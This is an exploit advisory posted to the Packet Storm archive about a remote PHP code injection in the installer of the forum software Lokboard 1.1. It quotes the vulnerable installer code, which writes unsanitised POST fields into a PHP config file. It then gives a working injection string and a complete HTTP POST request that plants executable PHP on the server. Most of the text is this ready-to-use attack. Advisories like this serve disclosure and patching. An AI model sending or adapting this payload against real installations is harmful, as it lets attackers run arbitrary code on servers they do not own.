exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Lokboard 1.1 PHP Code Injection

Lokboard 1.1 PHP Code Injection
Posted Jun 10, 2013
Authored by CWH Underground

Lokboard version 1.1 suffers from a remote PHP code injection vulnerability.

tags | exploit, remote, php
SHA-256 | d657c10dae83eb0c200a7f8f29e9521a0a4b076a65a941d86d5b104b56ffda5e

Lokboard 1.1 PHP Code Injection

Change Mirror Download
# Exploit Title   : Lokboard PHP Code Injection
# Date : 9 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://lokboard.net/
# Software Link : lokboard.net/downloads/lokboard_1_1_0.zip
# Version : 1.1
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/install/index_4.php (LINE: 21-45)

-----------------------------------------------------------------------------
LINE 21-45:

$config_file = '<?php
/*******************
| lokboard forum software
| powered by lokboard 1.0
*******************/

if(!defined("access")){ include("errors/access.html"); exit(); }

/*******************
| The following settings are related
| to the MySQL side of the application
*******************/

$DB_NAME = "' . $_POST["name"] . '"; // Your database name
$DB_HOST = "' . $_POST["host"] . '"; // Your database host
$DB_USER = "' . $_POST["user"] . '"; // Your database username
$DB_PASS = "' . $_POST["pass"] . '"; // Your database password

// Please change the following key to a secure phrase - do not modify after board installation
$config["password_key"] = "' . $_POST["pass_key"] . '";
?>
';

$write_config = fopen("../lokboard/db_config.php", "w");
fwrite($write_config, $config_file);
-----------------------------------------------------------------------------


#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

This CMS allow attacker to insert PHP code into config.php with 1234";phpinfo();//

/lokboard/db_config.php
-----------------------------------------------------------------------------
$DB_NAME = "lokboard"; // Your database name
$DB_HOST = "localhost"; // Your database host
$DB_USER = "root"; // Your database username
$DB_PASS = "toor"; // Your database password

// Please change the following key to a secure phrase - do not modify after board installation
$config["password_key"] = "1234";phpinfo();//";
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################


POST /lokboard/install/index_4.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/lokboard/install/index_3.php?error=1
Cookie: lang=; PHPSESSID=g4j89f6110r4hpl3bkecfpc7c1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
host=localhost&user=root&pass=toor&name=lokboard&pass_key=1234";phpinfo();//

################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close